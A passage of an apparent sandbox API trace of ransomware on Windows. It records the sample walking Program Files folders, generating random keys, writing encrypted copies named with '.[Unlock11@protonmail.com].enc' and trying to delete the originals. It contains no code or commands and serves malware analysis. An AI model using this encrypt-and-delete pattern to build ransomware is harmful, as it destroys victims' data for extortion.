fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x933)) returned 1 [0230.256] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36743f4 | out: pbBuffer=0x36743f4) returned 1 [0230.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0230.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0230.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0230.257] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol_dmp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.257] GetFileType (hFile=0x334) returned 0x1 [0230.257] GetFileType (hFile=0x334) returned 0x1 [0230.257] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.257] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.258] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.258] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.258] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol_dmp.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.259] GetFileType (hFile=0x39c) returned 0x1 [0230.259] GetFileType (hFile=0x39c) returned 0x1 [0230.259] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.259] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.259] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.262] CloseHandle (hObject=0x39c) returned 1 [0230.262] CloseHandle (hObject=0x334) returned 1 [0230.262] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol_dmp.xml")) returned 0 [0230.263] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0230.263] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.263] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0230.263] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0230.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea990 | out: hHeap=0x2ad0000) returned 1 [0230.264] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5826b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0230.264] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5826b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.264] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcf0d5f00, ftLastWriteTime.dwHighDateTime=0x1d29f91, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0230.264] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcf0d5f00, ftLastWriteTime.dwHighDateTime=0x1d29f91, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0230.264] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0230.265] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" (normalized: "c:\\program files (x86)\\windows media player\\skins\\revert.wmz")) returned 0x20 [0230.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0230.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0230.266] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz", lpFilePart=0x9bada4*="Revert.wmz") returned 0x3c [0230.267] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0230.267] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.267] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0230.267] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0230.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0230.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0230.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0230.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0230.268] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Multimedia Platform\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc583dc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0230.268] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc583dc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.268] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954773d8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x954773d8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x954773d8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0230.269] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954773d8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x954773d8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x954773d8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0230.269] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0230.269] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Multimedia Platform\\sqmapi.dll" (normalized: "c:\\program files (x86)\\windows multimedia platform\\sqmapi.dll")) returned 0x20 [0230.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0230.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0230.269] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Multimedia Platform\\sqmapi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Multimedia Platform\\sqmapi.dll", lpFilePart=0x9bada4*="sqmapi.dll") returned 0x3d [0230.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0230.270] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0230.270] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.270] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5858e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7129af65, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0230.270] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0230.270] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0230.271] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0230.271] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories" (normalized: "c:\\program files (x86)\\windows nt\\accessories")) returned 0x10 [0230.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0230.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0230.271] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice")) returned 0x10 [0230.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0230.272] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5858e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7129af65, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0230.272] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5858e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7129af65, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.272] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc58631c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0230.272] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480bd806, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xdc94812c, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x480bd806, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x417c00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0230.272] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76410ee5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x76410ee5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x76410ee5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0230.273] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76410ee5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x76410ee5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x76410ee5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0230.273] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0230.273] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\en-us")) returned 0x10 [0230.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0230.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0230.273] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe")) returned 0x20 [0230.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0230.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0230.274] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpadfilter.dll")) returned 0x20 [0230.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0230.275] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe", lpFilePart=0x9bada4*="wordpad.exe") returned 0x39 [0230.276] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480bd806, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xdc94812c, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x480bd806, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x417c00)) returned 1 [0230.276] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718a4 | out: pbBuffer=0x36718a4) returned 1 [0230.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0230.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0230.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0230.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3734048 [0230.276] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.277] GetFileType (hFile=0x334) returned 0x1 [0230.277] GetFileType (hFile=0x334) returned 0x1 [0230.277] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.277] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.277] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.277] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.277] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.277] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.277] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.278] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.281] GetFileType (hFile=0x39c) returned 0x1 [0230.282] GetFileType (hFile=0x39c) returned 0x1 [0230.282] GetFileInformationByHandle (in: 